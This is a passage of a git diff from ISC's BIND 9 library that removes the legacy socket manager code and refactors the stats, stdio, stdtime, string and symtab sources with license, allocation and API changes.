-	if (!sock->bound) {
-		result = ISC_R_NOTBOUND;
-		goto out;
-	}
-
-	result = ISC_R_SUCCESS;
-
-	len = sizeof(addressp->type);
-	if (getsockname(sock->fd, &addressp->type.sa, (void *)&len) < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "getsockname: %s", strbuf);
-		result = ISC_R_UNEXPECTED;
-		goto out;
-	}
-	addressp->length = (unsigned int)len;
-
-out:
-	UNLOCK(&sock->lock);
-
-	return (result);
-}
-
-/*
- * Run through the list of events on this socket, and cancel the ones
- * queued for task "task" of type "how".  "how" is a bitmask.
- */
-void
-isc_socket_cancel(isc_socket_t *sock, isc_task_t *task, unsigned int how) {
-	REQUIRE(VALID_SOCKET(sock));
-
-	/*
-	 * Quick exit if there is nothing to do.  Don't even bother locking
-	 * in this case.
-	 */
-	if (how == 0) {
-		return;
-	}
-
-	LOCK(&sock->lock);
-
-	/*
-	 * All of these do the same thing, more or less.
-	 * Each will:
-	 *	o If the internal event is marked as "posted" try to
-	 *	  remove it from the task's queue.  If this fails, mark it
-	 *	  as canceled instead, and let the task clean it up later.
-	 *	o For each I/O request for that task of that type, post
-	 *	  its done event with status of "ISC_R_CANCELED".
-	 *	o Reset any state needed.
-	 */
-	if (((how & ISC_SOCKCANCEL_RECV) != 0) &&
-	    !ISC_LIST_EMPTY(sock->recv_list)) {
-		isc_socketevent_t *dev;
-		isc_socketevent_t *next;
-		isc_task_t *current_task;
-
-		dev = ISC_LIST_HEAD(sock->recv_list);
-
-		while (dev != NULL) {
-			current_task = dev->ev_sender;
-			next = ISC_LIST_NEXT(dev, ev_link);
-
-			if ((task == NULL) || (task == current_task)) {
-				dev->result = ISC_R_CANCELED;
-				send_recvdone_event(sock, &dev);
-			}
-			dev = next;
-		}
-	}
-
-	if (((how & ISC_SOCKCANCEL_SEND) != 0) &&
-	    !ISC_LIST_EMPTY(sock->send_list)) {
-		isc_socketevent_t *dev;
-		isc_socketevent_t *next;
-		isc_task_t *current_task;
-
-		dev = ISC_LIST_HEAD(sock->send_list);
-
-		while (dev != NULL) {
-			current_task = dev->ev_sender;
-			next = ISC_LIST_NEXT(dev, ev_link);
-
-			if ((task == NULL) || (task == current_task)) {
-				dev->result = ISC_R_CANCELED;
-				send_senddone_event(sock, &dev);
-			}
-			dev = next;
-		}
-	}
-
-	if (((how & ISC_SOCKCANCEL_ACCEPT) != 0) &&
-	    !ISC_LIST_EMPTY(sock->accept_list)) {
-		isc_socket_newconnev_t *dev;
-		isc_socket_newconnev_t *next;
-		isc_task_t *current_task;
-
-		dev = ISC_LIST_HEAD(sock->accept_list);
-		while (dev != NULL) {
-			current_task = dev->ev_sender;
-			next = ISC_LIST_NEXT(dev, ev_link);
-
-			if ((task == NULL) || (task == current_task)) {
-				ISC_LIST_UNLINK(sock->accept_list, dev,
-						ev_link);
-
-				isc_refcount_decrementz(
-					&NEWCONNSOCK(dev)->references);
-				free_socket((isc_socket_t **)&dev->newsocket);
-
-				dev->result = ISC_R_CANCELED;
-				dev->ev_sender = sock;
-				isc_task_sendtoanddetach(&current_task,
-							 ISC_EVENT_PTR(&dev),
-							 sock->threadid);
-			}
-
-			dev = next;
-		}
-	}
-
-	if (((how & ISC_SOCKCANCEL_CONNECT) != 0) &&
-	    !ISC_LIST_EMPTY(sock->connect_list))
-	{
-		isc_socket_connev_t *dev;
-		isc_socket_connev_t *next;
-		isc_task_t *current_task;
-
-		INSIST(sock->connecting);
-		sock->connecting = 0;
-
-		dev = ISC_LIST_HEAD(sock->connect_list);
-
-		while (dev != NULL) {
-			current_task = dev->ev_sender;
-			next = ISC_LIST_NEXT(dev, ev_link);
-
-			if ((task == NULL) || (task == current_task)) {
-				dev->result = ISC_R_CANCELED;
-				send_connectdone_event(sock, &dev);
-			}
-			dev = next;
-		}
-	}
-
-	UNLOCK(&sock->lock);
-}
-
-isc_sockettype_t
-isc_socket_gettype(isc_socket_t *sock) {
-	REQUIRE(VALID_SOCKET(sock));
-
-	return (sock->type);
-}
-
-void
-isc_socket_ipv6only(isc_socket_t *sock, bool yes) {
-#if defined(IPV6_V6ONLY)
-	int onoff = yes ? 1 : 0;
-#else  /* if defined(IPV6_V6ONLY) */
-	UNUSED(yes);
-	UNUSED(sock);
-#endif /* if defined(IPV6_V6ONLY) */
-
-	REQUIRE(VALID_SOCKET(sock));
-	INSIST(!sock->dupped);
-
-#ifdef IPV6_V6ONLY
-	if (sock->pf == AF_INET6) {
-		if (setsockopt(sock->fd, IPPROTO_IPV6, IPV6_V6ONLY,
-			       (void *)&onoff, sizeof(int)) < 0)
-		{
-			char strbuf[ISC_STRERRORSIZE];
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d, IPV6_V6ONLY) failed: "
-					 "%s",
-					 sock->fd, strbuf);
-		}
-	}
-#endif /* ifdef IPV6_V6ONLY */
-}
-
-static void
-setdscp(isc_socket_t *sock, isc_dscp_t dscp) {
-#if defined(IP_TOS) || defined(IPV6_TCLASS)
-	int value = dscp << 2;
-#endif /* if defined(IP_TOS) || defined(IPV6_TCLASS) */
-
-	sock->dscp = dscp;
-
-#ifdef IP_TOS
-	if (sock->pf == AF_INET) {
-		if (setsockopt(sock->fd, IPPROTO_IP, IP_TOS, (void *)&value,
-			       sizeof(value)) < 0) {
-			char strbuf[ISC_STRERRORSIZE];
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d, IP_TOS, %.02x) "
-					 "failed: %s",
-					 sock->fd, value >> 2, strbuf);
-		}
-	}
-#endif /* ifdef IP_TOS */
-#ifdef IPV6_TCLASS
-	if (sock->pf == AF_INET6) {
-		if (setsockopt(sock->fd, IPPROTO_IPV6, IPV6_TCLASS,
-			       (void *)&value, sizeof(value)) < 0)
-		{
-			char strbuf[ISC_STRERRORSIZE];
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d, IPV6_TCLASS, %.02x) "
-					 "failed: %s",
-					 sock->fd, dscp >> 2, strbuf);
-		}
-	}
-#endif /* ifdef IPV6_TCLASS */
-}
-
-void
-isc_socket_dscp(isc_socket_t *sock, isc_dscp_t dscp) {
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(dscp < 0x40);
-
-#if !defined(IP_TOS) && !defined(IPV6_TCLASS)
-	UNUSED(dscp);
-#else  /* if !defined(IP_TOS) && !defined(IPV6_TCLASS) */
-	if (dscp < 0) {
-		return;
-	}
-
-	/* The DSCP value must not be changed once it has been set. */
-	if (isc_dscp_check_value != -1) {
-		INSIST(dscp == isc_dscp_check_value);
-	}
-#endif /* if !defined(IP_TOS) && !defined(IPV6_TCLASS) */
-
-#ifdef notyet
-	REQUIRE(!sock->dupped);
-#endif /* ifdef notyet */
-
-	setdscp(sock, dscp);
-}
-
-isc_socketevent_t *
-isc_socket_socketevent(isc_mem_t *mctx, void *sender, isc_eventtype_t eventtype,
-		       isc_taskaction_t action, void *arg) {
-	return (allocate_socketevent(mctx, sender, eventtype, action, arg));
-}
-
-void
-isc_socket_setname(isc_socket_t *sock, const char *name, void *tag) {
-	/*
-	 * Name 'sock'.
-	 */
-
-	REQUIRE(VALID_SOCKET(sock));
-
-	LOCK(&sock->lock);
-	strlcpy(sock->name, name, sizeof(sock->name));
-	sock->tag = tag;
-	UNLOCK(&sock->lock);
-}
-
-const char *
-isc_socket_getname(isc_socket_t *sock) {
-	return (sock->name);
-}
-
-void *
-isc_socket_gettag(isc_socket_t *sock) {
-	return (sock->tag);
-}
-
-int
-isc_socket_getfd(isc_socket_t *sock) {
-	return ((short)sock->fd);
-}
-
-static isc_once_t hasreuseport_once = ISC_ONCE_INIT;
-static bool hasreuseport = false;
-
-static void
-init_hasreuseport(void) {
-/*
- * SO_REUSEPORT works very differently on *BSD and on Linux (because why not).
- * We only want to use it on Linux, if it's available. On BSD we want to dup()
- * sockets instead of re-binding them.
- */
-#if (defined(SO_REUSEPORT) && defined(__linux__)) || \
-	(defined(SO_REUSEPORT_LB) && defined(__FreeBSD_kernel__))
-	int sock, yes = 1;
-	sock = socket(AF_INET, SOCK_DGRAM, 0);
-	if (sock < 0) {
-		sock = socket(AF_INET6, SOCK_DGRAM, 0);
-		if (sock < 0) {
-			return;
-		}
-	}
-	if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&yes,
-		       sizeof(yes)) < 0) {
-		close(sock);
-		return;
-#if defined(__FreeBSD_kernel__)
-	} else if (setsockopt(sock, SOL_SOCKET, SO_REUSEPORT_LB, (void *)&yes,
-			      sizeof(yes)) < 0)
-#else  /* if defined(__FreeBSD_kernel__) */
-	} else if (setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (void *)&yes,
-			      sizeof(yes)) < 0)
-#endif /* if defined(__FreeBSD_kernel__) */
-	{
-		close(sock);
-		return;
-	}
-	hasreuseport = true;
-	close(sock);
-#endif /* if (defined(SO_REUSEPORT) && defined(__linux__)) || \
-	* (defined(SO_REUSEPORT_LB) && defined(__FreeBSD_kernel__)) */
-}
-
-bool
-isc_socket_hasreuseport(void) {
-	RUNTIME_CHECK(isc_once_do(&hasreuseport_once, init_hasreuseport) ==
-		      ISC_R_SUCCESS);
-	return (hasreuseport);
-}
-
-#if defined(HAVE_LIBXML2) || defined(HAVE_JSON_C)
-static const char *
-_socktype(isc_sockettype_t type) {
-	switch (type) {
-	case isc_sockettype_udp:
-		return ("udp");
-	case isc_sockettype_tcp:
-		return ("tcp");
-	case isc_sockettype_unix:
-		return ("unix");
-	default:
-		return ("not-initialized");
-	}
-}
-#endif /* if defined(HAVE_LIBXML2) || defined(HAVE_JSON_C) */
-
-#ifdef HAVE_LIBXML2
-#define TRY0(a)                     \
-	do {                        \
-		xmlrc = (a);        \
-		if (xmlrc < 0)      \
-			goto error; \
-	} while (0)
-int
-isc_socketmgr_renderxml(isc_socketmgr_t *mgr, void *writer0) {
-	isc_socket_t *sock = NULL;
-	char peerbuf[ISC_SOCKADDR_FORMATSIZE];
-	isc_sockaddr_t addr;
-	socklen_t len;
-	int xmlrc;
-	xmlTextWriterPtr writer = (xmlTextWriterPtr)writer0;
-
-	LOCK(&mgr->lock);
-
-	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "sockets"));
-	sock = ISC_LIST_HEAD(mgr->socklist);
-	while (sock != NULL) {
-		LOCK(&sock->lock);
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "socket"));
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "id"));
-		TRY0(xmlTextWriterWriteFormatString(writer, "%p", sock));
-		TRY0(xmlTextWriterEndElement(writer));
-
-		if (sock->name[0] != 0) {
-			TRY0(xmlTextWriterStartElement(writer,
-						       ISC_XMLCHAR "name"));
-			TRY0(xmlTextWriterWriteFormatString(writer, "%s",
-							    sock->name));
-			TRY0(xmlTextWriterEndElement(writer)); /* name */
-		}
-
-		TRY0(xmlTextWriterStartElement(writer,
-					       ISC_XMLCHAR "references"));
-		TRY0(xmlTextWriterWriteFormatString(
-			writer, "%d",
-			(int)isc_refcount_current(&sock->references)));
-		TRY0(xmlTextWriterEndElement(writer));
-
-		TRY0(xmlTextWriterWriteElement(
-			writer, ISC_XMLCHAR "type",
-			ISC_XMLCHAR _socktype(sock->type)));
-
-		if (sock->connected) {
-			isc_sockaddr_format(&sock->peer_address, peerbuf,
-					    sizeof(peerbuf));
-			TRY0(xmlTextWriterWriteElement(
-				writer, ISC_XMLCHAR "peer-address",
-				ISC_XMLCHAR peerbuf));
-		}
-
-		len = sizeof(addr);
-		if (getsockname(sock->fd, &addr.type.sa, (void *)&len) == 0) {
-			isc_sockaddr_format(&addr, peerbuf, sizeof(peerbuf));
-			TRY0(xmlTextWriterWriteElement(
-				writer, ISC_XMLCHAR "local-address",
-				ISC_XMLCHAR peerbuf));
-		}
-
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "states"));
-		if (sock->listener) {
-			TRY0(xmlTextWriterWriteElement(writer,
-						       ISC_XMLCHAR "state",
-						       ISC_XMLCHAR "listener"));
-		}
-		if (sock->connected) {
-			TRY0(xmlTextWriterWriteElement(
-				writer, ISC_XMLCHAR "state",
-				ISC_XMLCHAR "connected"));
-		}
-		if (sock->connecting) {
-			TRY0(xmlTextWriterWriteElement(
-				writer, ISC_XMLCHAR "state",
-				ISC_XMLCHAR "connecting"));
-		}
-		if (sock->bound) {
-			TRY0(xmlTextWriterWriteElement(writer,
-						       ISC_XMLCHAR "state",
-						       ISC_XMLCHAR "bound"));
-		}
-
-		TRY0(xmlTextWriterEndElement(writer)); /* states */
-
-		TRY0(xmlTextWriterEndElement(writer)); /* socket */
-
-		UNLOCK(&sock->lock);
-		sock = ISC_LIST_NEXT(sock, link);
-	}
-	TRY0(xmlTextWriterEndElement(writer)); /* sockets */
-
-error:
-	if (sock != NULL) {
-		UNLOCK(&sock->lock);
-	}
-
-	UNLOCK(&mgr->lock);
-
-	return (xmlrc);
-}
-#endif /* HAVE_LIBXML2 */
-
-#ifdef HAVE_JSON_C
-#define CHECKMEM(m)                              \
-	do {                                     \
-		if (m == NULL) {                 \
-			result = ISC_R_NOMEMORY; \
-			goto error;              \
-		}                                \
-	} while (0)
-
-isc_result_t
-isc_socketmgr_renderjson(isc_socketmgr_t *mgr, void *stats0) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_socket_t *sock = NULL;
-	char peerbuf[ISC_SOCKADDR_FORMATSIZE];
-	isc_sockaddr_t addr;
-	socklen_t len;
-	json_object *obj, *array = json_object_new_array();
-	json_object *stats = (json_object *)stats0;
-
-	CHECKMEM(array);
-
-	LOCK(&mgr->lock);
-
-	sock = ISC_LIST_HEAD(mgr->socklist);
-	while (sock != NULL) {
-		json_object *states, *entry = json_object_new_object();
-		char buf[255];
-
-		CHECKMEM(entry);
-		json_object_array_add(array, entry);
-
-		LOCK(&sock->lock);
-
-		snprintf(buf, sizeof(buf), "%p", sock);
-		obj = json_object_new_string(buf);
-		CHECKMEM(obj);
-		json_object_object_add(entry, "id", obj);
-
-		if (sock->name[0] != 0) {
-			obj = json_object_new_string(sock->name);
-			CHECKMEM(obj);
-			json_object_object_add(entry, "name", obj);
-		}
-
-		obj = json_object_new_int(
-			(int)isc_refcount_current(&sock->references));
-		CHECKMEM(obj);
-		json_object_object_add(entry, "references", obj);
-
-		obj = json_object_new_string(_socktype(sock->type));
-		CHECKMEM(obj);
-		json_object_object_add(entry, "type", obj);
-
-		if (sock->connected) {
-			isc_sockaddr_format(&sock->peer_address, peerbuf,
-					    sizeof(peerbuf));
-			obj = json_object_new_string(peerbuf);
-			CHECKMEM(obj);
-			json_object_object_add(entry, "peer-address", obj);
-		}
-
-		len = sizeof(addr);
-		if (getsockname(sock->fd, &addr.type.sa, (void *)&len) == 0) {
-			isc_sockaddr_format(&addr, peerbuf, sizeof(peerbuf));
-			obj = json_object_new_string(peerbuf);
-			CHECKMEM(obj);
-			json_object_object_add(entry, "local-address", obj);
-		}
-
-		states = json_object_new_array();
-		CHECKMEM(states);
-		json_object_object_add(entry, "states", states);
-
-		if (sock->listener) {
-			obj = json_object_new_string("listener");
-			CHECKMEM(obj);
-			json_object_array_add(states, obj);
-		}
-
-		if (sock->connected) {
-			obj = json_object_new_string("connected");
-			CHECKMEM(obj);
-			json_object_array_add(states, obj);
-		}
-
-		if (sock->connecting) {
-			obj = json_object_new_string("connecting");
-			CHECKMEM(obj);
-			json_object_array_add(states, obj);
-		}
-
-		if (sock->bound) {
-			obj = json_object_new_string("bound");
-			CHECKMEM(obj);
-			json_object_array_add(states, obj);
-		}
-
-		UNLOCK(&sock->lock);
-		sock = ISC_LIST_NEXT(sock, link);
-	}
-
-	json_object_object_add(stats, "sockets", array);
-	array = NULL;
-	result = ISC_R_SUCCESS;
-
-error:
-	if (array != NULL) {
-		json_object_put(array);
-	}
-
-	if (sock != NULL) {
-		UNLOCK(&sock->lock);
-	}
-
-	UNLOCK(&mgr->lock);
-
-	return (result);
-}
-#endif /* HAVE_JSON_C */
diff --git a/lib/isc/socket_p.h b/lib/isc/socket_p.h
deleted file mode 100644
index 53c998976b..0000000000
--- a/lib/isc/socket_p.h
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <isc/mem.h>
-#include <isc/result.h>
-#include <isc/socket.h>
-
-isc_result_t
-isc__socketmgr_create(isc_mem_t *mctx, isc_socketmgr_t **managerp,
-		      unsigned int maxsocks, int nthreads);
-/*%<
- * Create a socket manager.  If "maxsocks" is non-zero, it specifies the
- * maximum number of sockets that the created manager should handle.
- *
- * Notes:
- *
- *\li	All memory will be allocated in memory context 'mctx'.
- *
- * Requires:
- *
- *\li	'mctx' is a valid memory context.
- *
- *\li	'managerp' points to a NULL isc_socketmgr_t.
- *
- * Ensures:
- *
- *\li	'*managerp' is a valid isc_socketmgr_t.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS
- *\li	#ISC_R_NOMEMORY
- *\li	#ISC_R_UNEXPECTED
- *\li	#ISC_R_NOTIMPLEMENTED
- */
-
-void
-isc__socketmgr_destroy(isc_socketmgr_t **managerp);
-/*%<
- * Destroy a socket manager.
- *
- * Notes:
- *
- *\li	This routine blocks until there are no sockets left in the manager,
- *	so if the caller holds any socket references using the manager, it
- *	must detach them before calling isc_socketmgr_destroy() or it will
- *	block forever.
- *
- * Requires:
- *
- *\li	'*managerp' is a valid isc_socketmgr_t.
- *
- *\li	All sockets managed by this manager are fully detached.
- *
- * Ensures:
- *
- *\li	*managerp == NULL
- *
- *\li	All resources used by the manager have been freed.
- */
-
-#include <sys/time.h>
-
-typedef struct isc_socketwait isc_socketwait_t;
-int
-isc__socketmgr_waitevents(isc_socketmgr_t *, struct timeval *,
-			  isc_socketwait_t **);
-isc_result_t
-isc__socketmgr_dispatch(isc_socketmgr_t *, isc_socketwait_t *);
diff --git a/lib/isc/stats.c b/lib/isc/stats.c
index 6df4af6952..5cc6e3d2b1 100644
--- a/lib/isc/stats.c
+++ b/lib/isc/stats.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,8 +20,6 @@
 #include <isc/buffer.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
 #include <isc/stats.h>
 #include <isc/util.h>
@@ -37,29 +37,6 @@ struct isc_stats {
 	isc__atomic_statcounter_t *counters;
 };
 
-static isc_result_t
-create_stats(isc_mem_t *mctx, int ncounters, isc_stats_t **statsp) {
-	isc_stats_t *stats;
-	size_t counters_alloc_size;
-
-	REQUIRE(statsp != NULL && *statsp == NULL);
-
-	stats = isc_mem_get(mctx, sizeof(*stats));
-	counters_alloc_size = sizeof(isc__atomic_statcounter_t) * ncounters;
-	stats->counters = isc_mem_get(mctx, counters_alloc_size);
-	isc_refcount_init(&stats->references, 1);
-	for (int i = 0; i < ncounters; i++) {
-		atomic_init(&stats->counters[i], 0);
-	}
-	stats->mctx = NULL;
-	isc_mem_attach(mctx, &stats->mctx);
-	stats->ncounters = ncounters;
-	stats->magic = ISC_STATS_MAGIC;
-	*statsp = stats;
-
-	return (ISC_R_SUCCESS);
-}
-
 void
 isc_stats_attach(isc_stats_t *stats, isc_stats_t **statsp) {
 	REQUIRE(ISC_STATS_VALID(stats));
@@ -80,9 +57,8 @@ isc_stats_detach(isc_stats_t **statsp) {
 
 	if (isc_refcount_decrement(&stats->references) == 1) {
 		isc_refcount_destroy(&stats->references);
-		isc_mem_put(stats->mctx, stats->counters,
-			    sizeof(isc__atomic_statcounter_t) *
-				    stats->ncounters);
+		isc_mem_cput(stats->mctx, stats->counters, stats->ncounters,
+			     sizeof(isc__atomic_statcounter_t));
 		isc_mem_putanddetach(&stats->mctx, stats, sizeof(*stats));
 	}
 }
@@ -94,11 +70,23 @@ isc_stats_ncounters(isc_stats_t *stats) {
 	return (stats->ncounters);
 }
 
-isc_result_t
+void
 isc_stats_create(isc_mem_t *mctx, isc_stats_t **statsp, int ncounters) {
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	return (create_stats(mctx, ncounters, statsp));
+	isc_stats_t *stats = isc_mem_get(mctx, sizeof(*stats));
+	size_t counters_alloc_size = sizeof(isc__atomic_statcounter_t) *
+				     ncounters;
+	stats->counters = isc_mem_get(mctx, counters_alloc_size);
+	isc_refcount_init(&stats->references, 1);
+	for (int i = 0; i < ncounters; i++) {
+		atomic_init(&stats->counters[i], 0);
+	}
+	stats->mctx = NULL;
+	isc_mem_attach(mctx, &stats->mctx);
+	stats->ncounters = ncounters;
+	stats->magic = ISC_STATS_MAGIC;
+	*statsp = stats;
 }
 
 void
@@ -113,7 +101,11 @@ void
 isc_stats_decrement(isc_stats_t *stats, isc_statscounter_t counter) {
 	REQUIRE(ISC_STATS_VALID(stats));
 	REQUIRE(counter < stats->ncounters);
+#if ISC_STATS_CHECKUNDERFLOW
+	REQUIRE(atomic_fetch_sub_release(&stats->counters[counter], 1) > 0);
+#else
 	atomic_fetch_sub_release(&stats->counters[counter], 1);
+#endif
 }
 
 void
@@ -163,3 +155,35 @@ isc_stats_get_counter(isc_stats_t *stats, isc_statscounter_t counter) {
 
 	return (atomic_load_acquire(&stats->counters[counter]));
 }
+
+void
+isc_stats_resize(isc_stats_t **statsp, int ncounters) {
+	isc_stats_t *stats;
+	size_t counters_alloc_size;
+	isc__atomic_statcounter_t *newcounters;
+
+	REQUIRE(statsp != NULL && *statsp != NULL);
+	REQUIRE(ISC_STATS_VALID(*statsp));
+	REQUIRE(ncounters > 0);
+
+	stats = *statsp;
+	if (stats->ncounters >= ncounters) {
+		/* We already have enough counters. */
+		return;
+	}
+
+	/* Grow number of counters. */
+	counters_alloc_size = sizeof(isc__atomic_statcounter_t) * ncounters;
+	newcounters = isc_mem_get(stats->mctx, counters_alloc_size);
+	for (int i = 0; i < ncounters; i++) {
+		atomic_init(&newcounters[i], 0);
+	}
+	for (int i = 0; i < stats->ncounters; i++) {
+		uint32_t counter = atomic_load_acquire(&stats->counters[i]);
+		atomic_store_release(&newcounters[i], counter);
+	}
+	isc_mem_cput(stats->mctx, stats->counters, stats->ncounters,
+		     sizeof(isc__atomic_statcounter_t));
+	stats->counters = newcounters;
+	stats->ncounters = ncounters;
+}
diff --git a/lib/isc/stdio.c b/lib/isc/stdio.c
index 2cbda65ea8..601dcc1758 100644
--- a/lib/isc/stdio.c
+++ b/lib/isc/stdio.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,9 +12,9 @@
  */
 
 #include <errno.h>
+#include <sys/stat.h>
 #include <unistd.h>
 
-#include <isc/stat.h>
 #include <isc/stdio.h>
 #include <isc/util.h>
 
@@ -83,9 +85,7 @@ isc_stdio_read(void *ptr, size_t size, size_t nmemb, FILE *f, size_t *nret) {
 			result = isc__errno2result(errno);
 		}
 	}
-	if (nret != NULL) {
-		*nret = r;
-	}
+	SET_IF_NOT_NULL(nret, r);
 	return (result);
 }
 
@@ -100,9 +100,7 @@ isc_stdio_write(const void *ptr, size_t size, size_t nmemb, FILE *f,
 	if (r != nmemb) {
 		result = isc__errno2result(errno);
 	}
-	if (nret != NULL) {
-		*nret = r;
-	}
+	SET_IF_NOT_NULL(nret, r);
 	return (result);
 }
 
diff --git a/lib/isc/stdtime.c b/lib/isc/stdtime.c
index 363a699e1c..6f3ef49d78 100644
--- a/lib/isc/stdtime.c
+++ b/lib/isc/stdtime.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,10 +22,9 @@
 
 #include <isc/stdtime.h>
 #include <isc/strerr.h>
+#include <isc/time.h>
 #include <isc/util.h>
 
-#define NS_PER_S 1000000000 /*%< Nanoseconds per second. */
-
 #if defined(CLOCK_REALTIME_COARSE)
 #define CLOCKSOURCE CLOCK_REALTIME_COARSE
 #elif defined(CLOCK_REALTIME_FAST)
@@ -32,22 +33,16 @@
 #define CLOCKSOURCE CLOCK_REALTIME
 #endif /* if defined(CLOCK_REALTIME_COARSE) */
 
-void
-isc_stdtime_get(isc_stdtime_t *t) {
-	REQUIRE(t != NULL);
-
+isc_stdtime_t
+isc_stdtime_now(void) {
 	struct timespec ts;
 
 	if (clock_gettime(CLOCKSOURCE, &ts) == -1) {
-		char strbuf[ISC_STRERRORSIZE];
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_error_fatal(__FILE__, __LINE__, "clock_gettime failed: %s",
-				strbuf);
+		FATAL_SYSERROR(errno, "clock_gettime()");
 	}
+	INSIST(ts.tv_sec > 0 && ts.tv_nsec >= 0 && ts.tv_nsec < NS_PER_SEC);
 
-	REQUIRE(ts.tv_sec > 0 && ts.tv_nsec >= 0 && ts.tv_nsec < NS_PER_S);
-
-	*t = (isc_stdtime_t)ts.tv_sec;
+	return ((isc_stdtime_t)ts.tv_sec);
 }
 
 void
@@ -57,8 +52,6 @@ isc_stdtime_tostring(isc_stdtime_t t, char *out, size_t outlen) {
 	REQUIRE(out != NULL);
 	REQUIRE(outlen >= 26);
 
-	UNUSED(outlen);
-
 	/* time_t and isc_stdtime_t might be different sizes */
 	when = t;
 	INSIST((ctime_r(&when, out) != NULL));
diff --git a/lib/isc/string.c b/lib/isc/string.c
index 08e507e918..7603ac2b25 100644
--- a/lib/isc/string.c
+++ b/lib/isc/string.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,9 +12,15 @@
  */
 
 /*
+ * SPDX-License-Identifier: BSD-3-Clause
+ *
+ * Copyright (c) 2001 Mike Barcroft <mike@FreeBSD.org>
  * Copyright (c) 1990, 1993
  *	The Regents of the University of California.  All rights reserved.
  *
+ * This code is derived from software contributed to Berkeley by
+ * Chris Torek.
+ *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
  * are met:
@@ -47,6 +55,14 @@
 
 #include <isc/string.h> /* IWYU pragma: keep */
 
+/*
+ * We undef _GNU_SOURCE above to get the POSIX strerror_r()
+ */
+int
+isc_string_strerror_r(int errnum, char *buf, size_t buflen) {
+	return (strerror_r(errnum, buf, buflen));
+}
+
 #if !defined(HAVE_STRLCPY)
 size_t
 strlcpy(char *dst, const char *src, size_t size) {
@@ -107,7 +123,24 @@ strlcat(char *dst, const char *src, size_t size) {
 }
 #endif /* !defined(HAVE_STRLCAT) */
 
-int
-isc_string_strerror_r(int errnum, char *buf, size_t buflen) {
-	return (strerror_r(errnum, buf, buflen));
+#if !defined(HAVE_STRNSTR)
+char *
+strnstr(const char *s, const char *find, size_t slen) {
+	char c, sc;
+	size_t len;
+
+	if ((c = *find++) != '\0') {
+		len = strlen(find);
+		do {
+			do {
+				if (slen-- < 1 || (sc = *s++) == '\0')
+					return (NULL);
+			} while (sc != c);
+			if (len > slen)
+				return (NULL);
+		} while (strncmp(s, find, len) != 0);
+		s--;
+	}
+	return ((char *)s);
 }
+#endif
diff --git a/lib/isc/symtab.c b/lib/isc/symtab.c
index fa5332f530..d96ab3dc60 100644
--- a/lib/isc/symtab.c
+++ b/lib/isc/symtab.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,9 +13,9 @@
 
 /*! \file */
 
-#include <ctype.h>
 #include <stdbool.h>
 
+#include <isc/ascii.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/string.h>
@@ -60,7 +62,7 @@ isc_symtab_create(isc_mem_t *mctx, unsigned int size,
 
 	symtab->mctx = NULL;
 	isc_mem_attach(mctx, &symtab->mctx);
-	symtab->table = isc_mem_get(mctx, size * sizeof(eltlist_t));
+	symtab->table = isc_mem_cget(mctx, size, sizeof(eltlist_t));
 	for (i = 0; i < size; i++) {
 		INIT_LIST(symtab->table[i]);
 	}
@@ -99,17 +101,16 @@ isc_symtab_destroy(isc_symtab_t **symtabp) {
 			isc_mem_put(symtab->mctx, elt, sizeof(*elt));
 		}
 	}
